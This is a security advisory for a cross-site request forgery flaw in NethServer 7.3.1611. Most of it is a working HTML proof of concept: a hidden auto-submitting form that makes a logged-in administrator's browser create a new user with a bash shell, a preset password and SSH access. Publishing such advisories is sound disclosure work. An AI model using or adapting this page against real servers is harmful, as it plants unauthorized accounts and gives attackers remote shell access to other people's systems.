NethServer version 7.3.1611 suffers from a cross site request forgery vulnerability that allows you to create a user and enable SSH access.
30902b438d0c118a9ace27dab197dbe2<!--
NethServer 7.3.1611 (create.json) CSRF Create User And Enable SSH Access
Vendor: NethServer.org
Product web page: https://www.nethserver.org
Affected version: 7.3.1611-u1-x86_64
Summary: NethServer is an operating system for the Linux
enthusiast, designed for small offices and medium enterprises.
It's simple, secure and flexible.
Desc: The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.
Tested on: Kernel 3.10.0.-514.el7.x86_64 on an x86_64
CentOS Linux 7.3.1611 (Core)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2017-5433
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5433.php
16.08.2017
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HTML Decoded PoC:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://172.19.0.195:980/en-US/Account/User/create.json" method="POST">
<input type="hidden" name="Account[User][create][username]" value="Blabla" />
<input type="hidden" name="Account[User][create][gecos]" value="Test1" />
<input type="hidden" name="Account[User][create][groups]" value="" />
<input type="hidden" name="Account[User][create][groups][1]" value="[email protected]" />
<input type="hidden" name="Account[User][create][expires]" value="no" />
<input type="hidden" name="Account[User][create][shell]" value="/usr/libexec/openssh/sftp-server" />
<input type="hidden" name="Account[User][create][shell]" value="/bin/bash" />
<input type="hidden" name="Account[User][create][setPassword]" value="disabled" />
<input type="hidden" name="Account[User][create][setPassword]" value="enabled" />
<input type="hidden" name="Account[User][create][newPassword]" value="gi3fme$heLL!" />
<input type="hidden" name="Account[User][create][confirmNewPassword]" value="gi3fme$heLL!" />
<input type="hidden" name="Account[User][create][Submit]" value="Submit" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>